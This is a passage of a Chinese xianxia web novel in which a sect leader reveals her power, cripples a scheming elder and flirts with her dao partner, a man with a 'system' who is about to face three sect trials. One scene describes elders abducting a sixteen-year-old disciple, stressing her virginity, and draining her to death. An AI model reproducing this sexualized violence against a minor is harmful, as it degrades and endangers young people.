南宫媚儿轻飘飘起身,她眉头微蹙,站立高台之上,衣裙无风自动,眼波在场每个人,“这个人即便是大长老,也不可能是他。” “放肆!” 墨玄机龙头杖重重砸地,震得殿梁簌簌落尘,“南宫媚儿,注意你说话的分寸,你又如何证明他不是奸细?” “这有何难~” 南宫媚儿红唇飞扬,“既然诸位都在,本宗主就正式宣布,这位慕长歌慕公子,从今以后是我的道侣,见他如见我。” 她指尖轻佻,宗主令从腰间飞出,悬浮在身侧,令牌绽放五个鎏金大字,在空中凝聚成见令如见宗主。 而后,化作某种特殊的标识,进入到慕长歌的储物戒。 “违令者...” 她美眸骤然转冷,“按判宗论处,也包括你大长老!” “南宫媚儿,你!” 墨玄机话没说完,就被她给截断,“你什么你?大长老,属于你倚老卖老的时代过去了,我敬重你,并不意味着本宗主怕了你。” “还有!” 南宫媚儿突然转身,玉手轻抬间,衣袖如流云般滑落,露出皓腕上那道若隐若现的凤纹。 她眼波流转着三分讥讽,七分傲然,“我与夫君以合欢秘法结下道侣印记,而魔...向来无情。” 她红唇勾起一抹危险的弧度,“大长老还要污蔑么?” 话音未落,她与慕长歌两人十指相扣。 嗡! 一道璀璨金光从两人交握的掌心迸发,化作缠绕的龙凤虚影冲天而起。 龙吟凤鸣声中,整座大殿的灵气为之沸腾,殿顶的琉璃瓦片在这股威压下片片震颤。 “这...这是最高阶的同心契!” 玉蟾长老失声惊呼。 宗主到底是宗主啊,也不知用了什么手段,竟能让这小子爱她到如此程度。 关键是宗主自己也动了情,否则这契约无法缔结。 有此契约在,就能更好地证明,慕长歌并非来自魔道的奸细。 当然,他也从未相信慕长歌是魔道的奸细。 慕长歌挑眉看着交握的手,这女人何时偷偷把道侣印记给升级了,难不成是趁他沉浸在修为提升的快乐过程中? 南宫媚儿冲他抛了个媚眼,又勾起红唇,冷眼相瞧墨玄机,“大长老,你还有何话说,还要污蔑他人嘛?” 她那声音中极具威严。 墨玄机冷哼一声,“你身为宗主,却私自找了个金丹境的散修结为道侣,我宗的脸简直被你给丢尽了,如何配做这宗主的位置!” “怎么?大长老对这位置感兴趣?” 南宫媚儿眉眼含笑,“不如我让你给如何?只是恐怕要委屈了大长老,你要先对我磕头拜师才成。” “合欢宗历来的规矩,继任者必须由上任宗主弟子继承,媚儿就只能托大了。” 她唇角微扬,眼中一片冰冷。 随后迈动诱人的脚步,扭动着水蛇腰,慵懒地靠在慕长歌肩头,指尖缠绕着一缕青丝,“大长老,可要现在就拜师?” “南宫媚儿!” 墨玄机龙头拐杖砸地,震得地面龟裂,“你若解除这道侣契约,本长老可当作无事发生,若....” “那就让大长老失望了~” 她转身跨坐在慕长歌腿上,红唇贴着他耳垂吐气如兰,“媚儿的清白都给了夫君呢~” 抬眸时眼中水光盈盈,“除非他不再爱我,否则这契约...永不消除~” 哗! 殿内一片哗然。 玉蟾手中的拂尘啪嗒掉在地上。 几位年长的女长老更是掩唇惊呼。 “你!” 墨玄机老脸涨得通红,龙头杖陡然爆发出刺目光芒,“南宫媚儿,你当真丢尽我合欢宗脸面!” “你师父千叮咛,万嘱咐,不可破身,你却违背师命,今日我就替你师父,我那师兄好好教训于你!” 他腾空而起,法相境威压全开。 “夫君~媚儿好怕~” 南宫媚儿一声惊呼,整个人如受精的小鹿,往慕长歌怀里钻。 她纤纤玉指紧攥着他的衣襟,眼角还适时泛起一抹晶莹,那楚楚可怜的模样,任谁看了都要心疼三分。 “夫君可要给媚儿做主啊,平日媚儿受尽了他们的欺凌,没有比我更惨的宗主了,嘤嘤嘤~” “……” 慕长歌嘴角抽搐。 这妖女会怕?他怎么完全感觉不到呢。 那双勾魂夺魄的眸子里哪有半分惧意?分明闪烁着狡黠的光芒。 “我的女人,什么时候轮到别人来教训了?” 慕长歌起身将南宫媚儿护在身后,声音不大,足够清晰传入在场每个人耳中。 墨玄机的龙头杖已至眼前,杖身缠绕着戾气。 所过之处,空气受到了挤压,显然这一杖,发挥了差不多化神五阶的修为。 毕竟南宫媚儿是宗主,此外还有用处,不能真的打死。 不过,这个慕长歌....绝不能留! 只是龙头杖在距离慕长歌额头三寸处戛然而止,一道无形的屏障,泛起水波般的涟漪。 杖尖的光芒如泥牛入海,连半点涟漪未曾掀起。 “什么?” 墨玄机老眼圆睁,布满皱纹的脸上布满难以置信。 他这一杖尽管远非全力,可也足以轻易开山裂石,却被一个看似金丹境的小辈,轻描淡写地挡下。 慕长歌依旧保持着慵懒的笑意,眼皮也没眨一下。 他抬起右手,食指轻点,“滚!” 简简单单一个字,似乎蕴含着天地至理。 轰! 一道璀璨金光自他指尖迸发,墨玄机只觉得一股巨力袭来,让他整个人如断线风筝般倒飞了出去。 他撞在了十丈开外的殿柱上,大殿轻微摇晃,身后的柱子浮现出一丝裂痕。 更可怕的是,墨玄机骇然地发现,自己法相境的修为,被这一指封住了三成。 封印他的手法,似乎又有点像合欢秘术。 殿内鸦雀无声。 所有人瞪大了眼,那可是法相境的大长老啊,就被这个年轻人,随手一指击败了.... “你到底是谁?” 墨玄机艰难地爬起身,嘴角溢出一丝鲜血。 此刻他终于意识到,眼前这个看似人畜无害的年轻人,恐怕非同表面这么简单。 慕长歌没理他,转而看向怀中的南宫媚儿,“夫人可还满意?” 南宫媚儿眼中异彩连连,她早知自家夫君实力不凡,可不成想强到这种地步。 那一指上的轻描淡写,实则蕴含了返璞归真的道韵,连她都看不出深浅,以身试验除外。 “夫君很棒哦~” 她娇笑着伸出指尖,在慕长歌侧颊上点了一下。 转身时已然换上一副冰冷的面容,“大长老,你以下犯上,该当何罪!” 墨玄机脸色阴沉不定。 她勾唇看向另一侧,“玉蟾长老,你说说看。” 玉蟾长老手中拂尘一抖,上前一步。 他先是敬畏地看了眼慕长歌,如此实力,绝非媚术所能迷惑,这小子跟他们宗主。 果然是真爱啊! 第139章 噬灵印废大长老,媚儿展露真修为 他清了清嗓,这才恭敬地拱手道。 “回禀宗主,按照我合欢宗门规第三百二十七条....” 玉蟾咽了口唾沫,偷瞄了眼面色铁青的墨玄机,硬着头皮继续道,“以下犯上者,轻则废除修为,逐出宗门....” 殿内温度骤降,所有人屏住了呼吸。 “重则....” 玉蟾的声音越来越小,“重则...抽魂炼魄,永世不得超生。” 最后几个字,几乎弱不可闻,即便墨玄机看似落了下风,余威犹在,且在宗内经营多年。 南宫媚儿此话一问,岂不是要给自己增加难题,如此惩罚不是,不惩罚也不是,最终导致的只会是自己下不来台。 “哦?” 南宫媚儿红唇微翘,玉指轻点朱唇,“大长老可听清了?” “那宗主想如何惩罚我呢?” 墨玄机浑浊的老眼中,闪过一丝讥诮。 南宫媚儿真当自己有那个胆子废了他,他这法相三阶的修为,可是合欢宗顶尖战力。 这个蠢女人,还不是将她自己架在火上烤,他倒要看看,最后怎么求他给个台阶下。 大殿内鸦雀无声,所有人屏息等待着宗主的决断。 墨玄机那两个弟弟,老二墨有机以及老三墨有丹,皆是幸灾乐祸地看着高台上的南宫媚儿。 “夫君觉得我该如何做?” 她娇滴滴地看着慕长歌,眼神透着无尽的妩媚。 慕长歌勾唇笑着,“你是宗主,想怎么做就怎么做,可谁要是让我的女人不痛快,我就让他这辈子不痛快。” 南宫媚儿抛了个飞吻,转而莲步轻移。 她每走一步,殿内的威压就加重一分,眨眼来到墨玄机跟前。 “念在你为宗门效力多年的份上,本宗主就只废了你的修为。” 她那声音柔媚中不乏威严,“可准许你留在宗门养老如何?” 墨玄机先是一愣,随即放声大笑。 “就凭你?” 他指着南宫媚儿,“各位,你们看到了没,她要废我修为,老夫当长老的时候,他还是个小屁孩呢。” “老夫就是给你废,你有那个实力嘛?” 话音刚落,墨有机和墨有丹皆是嘲讽一笑。 宗门各大长老,就只有他们三兄弟资历最老,修为最高,让南宫媚儿这个小女娃做宗主,那是为了宗门的发展。 以便吸收更多的修士拜入宗门,她还真把自己当回事了? 可南宫媚儿用实际行动,给他们做出了回应。 她玉掌轻抬,掌心浮现出一朵妖艳的合欢花印记,那印记迎风便长,转眼丈许大小,花瓣边缘闪烁着锋利的寒芒。 “合欢噬灵印!” 玉蟾失声惊呼。 这是只有将合欢宝典修炼到第七重,才能施展的秘术。 墨玄机脸色骤变,仓促间祭出一面青铜古镜,镜面泛起幽光,试图抵挡这致命一击。 然而,此前他被封了三成实力。 咔嚓! 碎裂声响起。 古镜破碎,印记去势不减,径直没入他的丹田。 “啊!!!” 撕心裂肺的惨叫响彻大殿,墨玄机浑身痉挛,此刻的他明显感受到,那苦修千余年的灵力正在飞速流逝。 “大哥!” 墨有机和墨有丹同时惊呼,脸色瞬间惨白。 他们完全没有料到,南宫媚儿当真敢废了他们大哥的修为。 墨有机最先反应过来,手中祭出一柄长刀,“南宫媚儿,你好大的胆子,你竟....!” 轰! 随着一股威压,他话音戛然而止。 只见南宫媚儿身上,绽放出耀眼光芒,四道璀璨光轮在她身后缓缓旋转。 “四象法相!” 墨有丹手里的药葫芦啪嗒掉在地上,“这怎么可能,她怎么会是法相境!” 殿内一片哗然。 他们一致认为南宫媚儿的修为是化神三阶,可没想到她真正的修为,居然到了法相境。 而且一身实力,超越了大长老,俨然是四阶法相! 但晋升法相必有异象,她是怎么悄无声息瞒过众人感知的? “本宗主曾捡到一块不起眼的玉,没想到这块玉可以遮掩气息,我便取名为水灵玉。” 南宫媚儿笑看众人,“若非我这般隐忍,说不定这次就回不来了,你说呢,大长老?” 众人面面相觑。 宗主这话里是什么意思? 为何回不来? 难不成墨玄机胆敢派人劫杀宗主,可这对他又有什么好处。 玉蟾也是皱着眉头,他也有些瞧不上大长老整日目中无人的样子,奈何人家有那个实力和资历。 可做出劫杀自家宗主这种事,那就属于说不过去。 墨玄机咳了口血,踉踉跄跄起身,却没有接话。 “可有谁要为大长老说情,又或者觉得本宗主处置不够恰当的?” 南宫媚儿玉手轻拂,将一缕散落的青丝别到耳后。 动作轻柔娇媚,可在场每一个人都打了个寒颤,他们在那双勾魂夺魄的美眸中,看到了冰冷的杀意。 这种眼神,他们一次也不曾在南宫媚儿身上看到过。 墨有机和墨有丹对视一眼,各自轻哼一声,他们虽然是墨玄机的亲弟弟,可今日之事对他们不利。 可恨的是这个女人如此懂得隐忍,直到今日认为自己拥有足够的实力,才展露了出来。 “看来是没有了。” 南宫媚儿红唇微扬,转身时裙摆如花瓣绽放,“玉蟾。” “在!” 玉蟾连忙上前,额头已渗出细密汗珠。 “将大长老送往静心阁,好生照料。” 玉蟾刚要动作,墨玄机突然抬手。 “慢!” 他浑浊的老眼盯紧南宫媚儿,“宗主,先前老夫坏了规矩,被废了修为,自无怨言,可有些规矩,宗主是否也该守呢?” 气氛骤然凝固,几位年长的长老面色微变,似乎想起了什么。 南宫媚儿坐回慕长歌腿上,修长的玉腿优雅交叠,一条轻轻晃动,绣鞋上的银铃发出清脆声响。 另一条则搭在慕长歌膝盖上,裙摆处的雪肌晃得眼花。 “大长老是要我夫君去过那三关?” 她指尖绕着慕长歌的一缕发丝,红唇勾着冷笑。 “三关?难道是....” “宗门那几千年以来的规矩...” “不错,若非本宗弟子,要成为宗主道侣,必须通过情,欲,心三关考验,不知道你可敢啊?” 墨玄机阴鸷的目光扫过慕长歌,“本长老好心提醒你一句,这三关考验,可是会死人的。” “我若是不依呢?” 南宫媚儿美眸含煞。 墨玄机笑道,“那你就是违背了门规,本长老有权做出处置。” 墨有机和墨有丹两人眼眸相继一亮,还得是大哥,他们怎么就没想到这一点呢。 “三百年前,青冥剑派的掌门弟子,为求娶我宗圣女,也就是如今的宗主,你猜怎么着?” 墨有机似笑非笑地看着慕长歌,“结果他在第一关,情关,就...砰!全身精血逆流,爆体而亡了。” “可那分明是宗主不喜,才需要去...” 玉蟾的话还没说完,就被墨有丹打断,“规矩就是规矩,难道因为他是宗主的姘头,就能破例?” “你现在认怂还来得及,乖乖滚出合欢宗,尚且能保住小命。” 墨玄机的目光变得格外阴柔。 慕长歌负手而立,岂会看不出这几个老东西的算计,“几位如此盛情,本公子若是不接,倒显然不识抬举。” “有胆色!” 墨玄机脸上的皱纹舒展开来,“那就三日后午时,万情林开启第一关,按规矩,宗主不得干预,否则视为失败!” 第140章 道家静心论遭拆穿,夫君脸红现原形 墨玄机阴笑着离去,无论这个慕长歌有所依仗,还是狐假虎威,他死了也就了达到了报复了南宫媚儿。 随着众人离去,大殿内陷入了沉默。 “老狐狸!” 南宫媚儿暗骂了声,又有些无奈地看着慕长歌,“夫君~你不该答应他的,都是媚儿不好,要你为我操心了。” 那嗲嗲的语气,似水的眼眸,险些让慕长歌招架不住。 “操夫人的心,有何不可?” 他义正言辞道,“这都是为夫应该做的。” “夫君待我真好~” 她揽住他的胳膊,媚眼含笑,“我虽信任夫君,但这三关不可大意,说是三关,其实是三个阵法,由开山祖师留下的。” “据说闯过这三关,能够得到祖师留下的一部秘术,是真是假没人知道,迄今为止从未有人闯得过去。” “那三关具体是什么?” 慕长歌问道 “第一关名曰情劫,需在万情林中不沉溺于幻境,第二关为欲海,需抵御百名妖娆女子,来自神魂上的诱惑。” “第三关名问心,需直面内心最深处的恐惧,此三关虽都为幻境,但又息息相关,一层更比一层难。” 慕长歌轻笑,“就这?” “夫君不知。” 南宫媚儿急道,“万情林会放大千倍情愫,多少修士沉溺其中,变成行尸走肉,欲海更是...” 她撇了撇红唇,“那些妖娆女子会施展浑身解数,吸取男子元阳,反哺阵法,至于问心,我也不知会具体出现什么。” “人家可不想刚有了夫君,还没体会够女人的快乐,就又要守寡了呢,那媚儿可是会哭死的~” 南宫媚儿眼波流转,纤纤玉指点在慕长歌胸口画着圈。 尾音拖得绵长,带着几分撒娇,眼角适时泛起晶莹,又在眨眼间化作狡黠。 慕长歌暗骂了声,强自镇定道,“你夫君最大的本事,就是坐怀不乱,不动如山,坚持自我,守身如玉。” 他捋了捋并不存在的胡须,“色相于我而言不过皮囊,红粉骷髅能奈我何,道家第一静,便是静心,欲则是首要摒弃之杂念。” 噗嗤! 南宫媚儿不禁莞尔。 美目流转间满是促狭。 “那夫君怎么初次见到人家,就守不住了呢?” 她俯身贴近,香气四溢,“还...那么的无礼~” 温热的气息喷洒在耳畔,慕长歌老脸一红。 “夫人的魅力无人能挡,我也只好甘拜下风了。” 他清着嗓子,又很是一本正经地道,“道家又讲阴阳相合是为天数,何为相合,就是看对眼的两个人。” 南宫媚儿笑得花枝乱颤,玉指轻点他鼻尖。 “真当人家是没有经验的小女孩了,那么容易被你骗过去~” 她眸中泛起柔情,“有些话女人明知是假,就是喜欢听....” 南宫媚儿低头看向自己皓腕上闪烁的道侣印记,那枚凤纹正散发着柔和的光芒,与慕长歌手上的龙纹交相辉映。 “媚儿只需知道夫君是真心待我的就好,其他的...不重要。” 她依偎在慕长歌怀中,眉宇间凝着一丝忧虑,“夫君,大长老此人,你可有察觉到异常?” “不曾。” 慕长歌沉吟道,“但这并不代表他与魔门无关。” 南宫媚儿倏然抬眸,静待下文。 慕长歌轻抚她紧绷的背脊,“双方或许在某些方面达成了共识,你觉得会是什么?” 以他对阴无涯的了解,那厮虽为魔头,性子着实谨慎,魔门如今式微,远非过去可比。 是以,他绝不会在这个关头树敌过多,既然这么做了,那就必定有他想要得到的东西。 外面的天色不知何时,转变得很是阴沉,犹如让人压抑的心情。 殿内烛火忽明忽暗,映得南宫媚儿姣好的面容阴晴不定。 她沉思良久,从慕长歌怀中坐起,“我与大长老虽多有摩擦,却未曾水火不容,若真有分歧,应当与禁地中的看守之物有关。” 南宫媚儿玉手轻挥,一道隔音结界悄然形成。 “我遇袭时,天魔门的人似乎只想带走我,并非想杀我。” 她眉头越陷越深,“只是我想不明白其中可有什么联系?” “可知禁地之中是何物?” 慕长歌眸光一凝。 她摇头,眼中闪过一丝困惑,“我虽是宗主,可师父闭关前特意叮嘱,不许我踏入禁地半步。” 南宫媚儿指尖敲打着胳膊,“我只知道守护那个东西是祖师之命,且绝对不能被魔门得到。” 窗外忽有惊雷炸响,暴雨骤然而至,雨滴拍打在琉璃瓦上,发出急促的声响。 南宫媚儿走到窗前,衣裙被穿堂风吹得紧贴娇躯,勾勒出惊心动魄的曲线。 她仰望着昏沉的天空,雨丝斜斜地划过精致的侧脸。 “下雨了...” 她轻声呢喃,“好大。” “有吗?我怎么不觉得?” 慕长歌悄然来到她身后,“还是媚儿你更胜一筹。” 南宫媚儿翻了个白眼,玉指在他腰间拧了一圈,听着他倒抽冷气,她笑声如银铃。 这种快乐,是她从未体会过的。 只是她也知道,慕长歌绝不会长久地待在合欢宗,也许很快就会离开,也许会多待上几日。 小小的天风城不属于他,合欢宗不属于他,即便是北域位居第一的那座仙门,同样不属于他。 任何人都困不住他的脚步,只有跟随他的人奋力去追赶。 珍惜当下,把握眼前,是南宫媚儿此时此刻最真实的想法。 她扭过头,看向慕长歌,“夫君三日后才去闯关破阵,何不趁现在多修炼几次,提升下实力?” “有道理。” 慕长歌点着头,“那就看夫人的了。” “人家说的可是正经事,想歪了要拔舌头。” 她轻戳着他胸口,一个华丽的旋身,衣裙如花瓣绽放,身周萦绕着点点星光,“我的媚术可让你提升定力。” 南宫媚儿衣袖遮面,露出半边脸颊,又如灵蛇缠了上去,那双勾魂夺魄的眸子近在咫尺,吐息间暗香浮动。 慕长歌苦着脸,“那完了,我在夫人面前永远过不去这一关了,不过...过不去就不过了,又不要硬要过。” “非要硬过的话,那就只好先把小媚儿这一关给过去再说。” “……” “叮!恭喜宿主攻略气运之女南宫媚儿,攻略进度90%,获得气运值返还10000点!” “恭喜宿主获得双重额外奖励,魅灵圣体属性50%,以及秘术天音惑心诀!” 系统的提示在慕长歌脑海中响起,随即一股信息涌入识海。 【天音惑心诀:地阶极品音律功法,可与惑音琴完美契合,修至大成,一曲可乱天地阴阳,惑众生心神】 慕长歌眼中精光一闪,这功法来得倒是时候。 他心念微动,便将功法传递到了南宫媚儿的识海。 南宫媚儿从短暂的诧异中回过神。 “夫君这功法倒是非同一般,不如就让媚儿为你弹奏一首?” 铮! 一道粉色音波如涟漪般扩散,殿内烛火似乎也变成了桃红色。 慕长歌只觉得心神一颤,眼前浮现出无数南宫媚儿的幻影。 有的轻解罗衫,有的翩然起舞,更有几个直接贴了上来。 殿外长廊下。 玉蟾老脸泛着不正常的潮红,忘情地抚摸冰冷的廊柱。 “美...好美...真是美...” 第141章 寝宫传道授业忙,银铃伴雨奏情曲 “好多的美女....不要跑...都是老夫的....” “嘿嘿嘿....跑不掉了...抓住你了....” 玉蟾不但用他那双布满皱纹的手,抚摸着冰冷的廊柱。 更荒唐的是,这位仙风道骨的长老,撅着嘴往柱子上亲了去! 啵~ 一声清脆的亲吻声,在雨天中格外清晰,玉蟾陶醉地闭着眼,又往柱子另一边凑去。 “小美人,让老朽再亲一口~” 雨水顺着他的白发滴下,将道袍浸得透湿,可浇不灭他眼中的桃色火焰。 不知何时,南宫媚儿挽着慕长歌的胳膊走了出来,见到这一幕掩唇轻笑,“夫君,好像误伤了呢~” 慕长歌差点笑出声。 这位玉蟾大长老,抱着柱子又亲又舔,仙风道骨中又透着猥琐。 像极了蓝星那种打着治病旗号的高人,实则只为占人少妇便宜的下流胚。 “媚儿,这就是你的不是了,怎么夫君没有迷倒,反而让别人中招了呢?” 慕长歌忍着笑意,强行板着脸。 “人家也是第一次用嘛~” 她歪着头,指点轻点朱唇,“要不....试试更厉害的?” “别!” 慕长歌连忙按住她的玉手,“再弹下去,合欢宗明天就该改名叫恋柱宗了。” “讨厌,你怎么知道人家想改成恋柱宗呢~” 南宫媚儿纤纤素手搭上慕长歌的胸膛,“夫君,修炼要紧,咱们还是回寝宫吧。” 望着慕长歌点头,她伸开了双臂。 “干嘛?” 慕长歌眨了眨眼,“你不是自己有腿?” “哼,又不是用来走路的。” 她附耳过去,“只为夫君而存在,用来走路多委屈...” “……” 妖女! 简直太会了! 慕长歌暗骂一声,卷起她化作一道向寝宫遁去。 那速度快到了极致,且是慕长歌的极致,也不知在急些什么,总之就是在与时间赛跑。 两人走了之后,几个路过的弟子见状,惊得差点摔进雨里。 “玉蟾长老这是在干嘛?” “莫非中了邪术?” “快看!他、他在舔柱子!” “……” 就在众人看得兴起,玉蟾忽然打了个激灵,浑浊的老眼渐渐恢复了清明。 他低头一看,自己正以极其不雅的姿势,抱着一根朱漆廊柱,嘴角还挂着可疑的水渍。 “我这是在做什么?!” 他触电般松开柱子,踉跄着后退两步。 似乎是为了与慕长歌促进些关系,他才特意等候在这里,毕竟修仙不是打打杀杀,是人情世故,以及是否懂得做人。 可自己这是.... 当刚才的记忆如潮水涌来,还说了一些不堪入耳的话,玉蟾的脸唰地一下由红转白,再由白转青。 噗嗤—— 围观的弟子中有人憋不住笑出声。 玉蟾机械性地转过头,看到十几个弟子对着他呲牙笑着,还有的掏出留影石偷偷记录。 也就是玉蟾是宗门内出了名的脾气好,外号老好人,换个人他们可不敢。 玉蟾眼前一黑,差点当场昏过去,他捶胸顿足,老泪纵横,“宗主啊,你怎么又在戏弄老夫啊!!!” 雨水混着泪水糊了满脸,玉蟾捂着脸就往雨慕里冲。 “老夫不活了!!!” “长老,您的拂尘!” 有弟子在后面喊。 “不要了!” 玉蟾头也不回地哀嚎,“老夫这就去跳忘情崖!!!” 他跑得跌跌撞撞,道袍下摆被雨水浸透,拖在地上犹如湿漉漉的长尾,经过一处水洼时,又悲催地摔了个狗啃泥。 玉蟾狼狈地爬起来,连滚带爬地继续逃窜,经过一棵合欢树时,他鬼使神差地停下脚步,盯着树干看了半晌。 “美人?” 他恍惚地伸出手。 有人忍不住提醒道,“长老,那是棵树啊!” 玉蟾猛地惊醒,羞愤欲绝地给了自己一耳光,顿时清醒。 造孽啊! 他一头扎进雨幕,眨眼消失不见。 另一边。 慕长歌踹开寝宫大门。 殿内熏香袅袅,软榻四周垂落的纱幔无风自动,似在迎接主人的归来。 他将人轻轻放在榻上,却被一个翻身反压,那青丝如瀑垂落,有几缕扫过了他的脸颊。 “这次的修行,由媚儿传授夫君可好?” 纱衣如流水,烛光为那完美的曲线镀上了一层金边。 慕长歌呼吸一滞,还未反应过来,嘴角已然被封住。 雨声渐急。 窗外响彻电闪雷鸣,檐角的银铃清脆欲耳。 在这狂风骤雨天中,整座合欢宗尽数笼罩在氤氲水汽里。 唯有宗主寝宫内,酿成了醉人的佳酿。 伴随着银铃音,时不时有轻声细语传了出来。 “媚儿这一课叫做反客为主~” “为夫也传给你一课,名,道高一尺,魔高一丈!” 南宫媚儿的笑声,与银铃声,雨声,雷电轰鸣声夹杂一处,“那媚儿可要好好领教了~” 三个时辰后。 风停了,雨顿了。 慕长歌站在窗前整理衣袍,月光为他镀上一层银辉。 身后传来窸萃声响,南宫媚儿斜倚在软榻,玉臂支着香腮,纱衣遮体。 “夫君欲往何处?” 烛光映照下,她那双媚眼如丝,流转着尽是摄人心魄的风情。 慕长歌缠绕腰带的手一顿,“钓鱼。” “真是辛苦夫君了呢..” 她笑得花枝乱颤,又拖长了尾音,“那么不留余力地帮助媚儿~” 慕长歌老脸一红,也不知道这妖女具体指的是什么。 “夫君可要早些回来~” 南宫媚儿赤足下床,来到他身后,“人家准备了宵夜给你吃呢~” 只听得慕长歌浑身一抖。 “我尽量!” 嗖! 他逃也似的窜出寝宫。 甚至有种错觉,他不是来到了合欢宗,而是来到了盘丝洞,一个南宫媚儿,堪比七个蜘蛛精。 南宫媚儿望着他仓皇的背影,笑得前仰后合。 随着玉指轻勾,一件月白长袍凭空飞来裹住娇躯。 她走到窗前,轻抚腕间闪烁的道侣印记,洋溢着浅笑,“跑得掉么,我的好夫君~” 夜风送来阵阵虫鸣,那张绝美的脸庞在月光下忽明忽暗,时而蹙眉沉思,时而红唇微扬,露出摄人心魄的笑。 一只萤火虫颤巍巍飞来,停在她掌心。 “小家伙,是在躲雨么?” 她指尖轻点那微弱的光芒,“过去了,天就晴了。” 红唇轻启,吹出一缕香风。 萤火虫振翅高飞,融入夜色。 她那目光追随着那点微光,直至消失在合欢宗禁地方向。 与此同时。 静心阁的窗户无声滑开。 盘坐在蒲团上的墨玄机猛然睁眼,浑浊的眸中闪烁一丝精光。 “老二?” 他嘶声道。 黑影摘下兜帽,露出墨有机那张阴鸷的面容,“大哥,你的修为?” “无妨,我自有办法。” 他摆着手,从怀里取出一个小巧的木盒,“带上这个,去见那些人,就说想要拿到禁地之物,三日后必须除掉那个阻碍。” 墨有机打开木盒,里面躺着一块玉珏,有了这个可不受三关阵法所扰,但也拿不到开山祖师留下的传承。 “大哥,咱们是不是有点过于谨慎了?” 他将盒子合拢,皱了皱眉,迄今为止,可从未有人闯过那三关,又何必多此一举。 墨玄机眼眸中跳动着阴冷,“我就是要让那小子有死无生!” 第142章 三日未出寝宫殿,黑眼圈显憔悴相 不管慕长歌什么来路,单凭他.破了南宫媚儿的身就该死! 哪怕死上一千遍,一万遍,都不为过! 出了静心阁,墨有机的身影消失在夜色中,一道黑影尾随其后。 那人身法诡异,每一步都踩在墨有机的视线死角。 待两人走远,静心阁的窗户再次无声开启。 一个瘦削的身影扛着麻袋跃入,正是三长老墨有丹。 “大哥,你要的人我给你找来了。” 他将麻袋扔在地上,解开绳结露出一个被灵符定住的少女。 女孩约莫二八年华,杏眸圆睁满是惊恐,发不出半点声音。 “这个刚入门三个月,元阴未泄。” 墨有丹舔了舔嘴唇,“此女不仅可作为大哥修复丹田之用,就是**也没人察觉。” 他阴森一笑,见墨玄机沉默,凑近道,“大哥,就这一个能行么?要不我再去给你抓几个过来?” “不必。” 墨玄机嘴角挂着邪魅的笑,手指抚过床下少女惊恐的脸庞,“还是师兄有先见之明,在闭关之前传了我血阴补天术。” “师兄尚未出关,也不知这次能否突破瓶颈。” 墨有丹边说边叹气,“若还是失败,就只剩下那一个办法,可谁知.哎!” 床榻上的少女闻言剧烈颤抖,泪水浸湿了鬓角。 她似乎听到了自己不能听到的秘密,能被这两位长老称作师兄,且正在闭关的,就是合欢宗上位宗主了。 那位还是现如今这位宗主的师父,名,厉千山! 墨玄机深吸一口气,看不出喜怒。 墨有丹继续道,“大哥,师兄给的秘术,乃是依靠采取处子精血与元阴之力的禁术,待得丹田修复,今后还是莫要用了。” 他点到为止。 倒是墨玄机揭开了少女身上的定身符。 “大、大长老.” 少女声音发颤,“我求求您放了我,我保证什么都不说,这样好不好,我多叫几个师姐过来侍奉您.” “孩子,你放心,老夫不会让你痛苦。” 墨玄机恍若未闻,枯瘦的手掌抚上她的天灵盖,“你的死,将会被整个合欢宗铭记!” 女孩对上他的眸子,只看到墨玄机枯瘦的面容突然扭曲,皱纹如毒蛇般蠕动。 他双目暴突,眼白布满血丝,嘴角咧到耳根,露出森白獠牙。 “血阴补天,起!” 随着一声厉喝,他掌心迸发猩红血芒。 少女周身毛孔渗出晶莹血珠,在空中凝成无数血线,每一根血线泛着淡粉色光晕,那是尚未消散的元阴之力。 少女发出撕心裂肺的惨叫,却见墨玄机另一只手掐诀,一道黑气封住她的喉咙。 痛苦到极致的面容扭曲着,就是发不出半点声音。 血线如活物般缠绕上墨玄机的手臂,他干瘪的肌肤以肉眼可见的速度恢复光泽。 与之相反的是,少女的身体正在急速枯萎,乌黑秀发转眼灰白,娇嫩肌肤爬了满脸皱纹。 “大哥,这几日你且好生休养,另外我给你留了丹药。” 墨有丹抱起那具干瘪的少女躯体,轻得只剩下一层皮囊,空洞的眼眶还残留着惊恐的痕迹。 他悄然退出静心阁,月光下的影子被拉得很长。 另一边! 忙了一个时辰的慕长歌,回到了合欢宗。 他蹑手蹑脚地推开了寝宫的大门,殿内烛火摇曳。 那位美人正在蒲团上闭目打坐,月光穿透窗棂,为她渲染上神圣的光辉。 慕长歌松了口气,轻手轻脚地爬上床榻。 还是一个人睡舒服,整张床都是自己的,想怎么翻就怎么翻。 没来得及高兴,刚转过身,就对上一双笑吟吟的眸子。 “夫君,你回来了~” 南宫媚儿手托着小脑袋,侧卧着,“人家等你许久了。” 握草! 慕长歌浑身一僵,这女人刚才还在三丈开外,他就翻个身,就跑到床上来了,装检测雷达了吧? “呃这不是看夫人在修行,不忍打扰,所以就” 慕长歌一本正经地说着,眼角余光时不时偷瞄着南宫媚儿。 南宫媚儿突然扑来,“说好给你准备了夜宵,怎么能只让马儿跑,不给草呢,人家于心何忍~” “哎哎哎!夫人.哟.哈.” 纱幔无风自动,烛火变成了粉色。 殿外的一只夜莺捂住了眼睛。 一连两日,慕长歌就没逃出过寝宫的大门。 唯一一次溜出去,还被南宫媚儿给扯了进去,他扣的地面都冒起了火星子。 直到第三日。 他要闯情,欲,心这三关,慕终于再次感受到了外面的空气,与高悬的大日。 这一刻,他只觉得合欢宗开山祖师留下的,情劫,欲海,问心这三阵不是什么刀山火海,而是他的救星。 南宫媚儿实在是太残暴了。 这几日,他的衣袍在身 上就从未待到过半个时辰。 羊毛也没有这样薅的啊。 倒是南宫媚儿愈发的妩媚,一颦一动无不蕴含着浓浓的女人味儿。 “夫君,你看起来好像瘦了些呢~” 寝宫前。 南宫媚儿玉指抚过他脸颊,眼中闪过些狡黠,指尖又在他眼下轻轻一点,“嗯~这黑眼圈是怎么回事?没休息好么?” 慕长歌嘴角抽搐。 休息? 休息个毛线啊! 那叫休息么? “要不.我们再去休息几日?” 阳光下闪烁着迷人光泽的那张红唇,凑近他耳畔,“不如等到夫君什么时候休息好了,再去应约大长老闯那三关?” “大可不必!” 慕长歌斩钉截铁,远离她三步,义正言辞,“既已应下岂有退缩之理,若不然岂不是让大长老抓住把柄,对你不利?” 他挺直腰板,大义凛然。 开玩笑! 再进去休息几天,他怕是要成为史上第一个双修过于刻苦,而陨落的修士了,那他就真的不用出来了。 “那媚儿都听夫君的。” 她眼神拉丝,靠在他肩头,“那就等夫君闯过那三关,拿到祖师留下的传承,再.” 南宫媚儿话音至此而止,美目中流淌着锋锐寒芒。 有些肉,既已烂掉,就该忍着痛剔下去,否则永远长不出新肉。 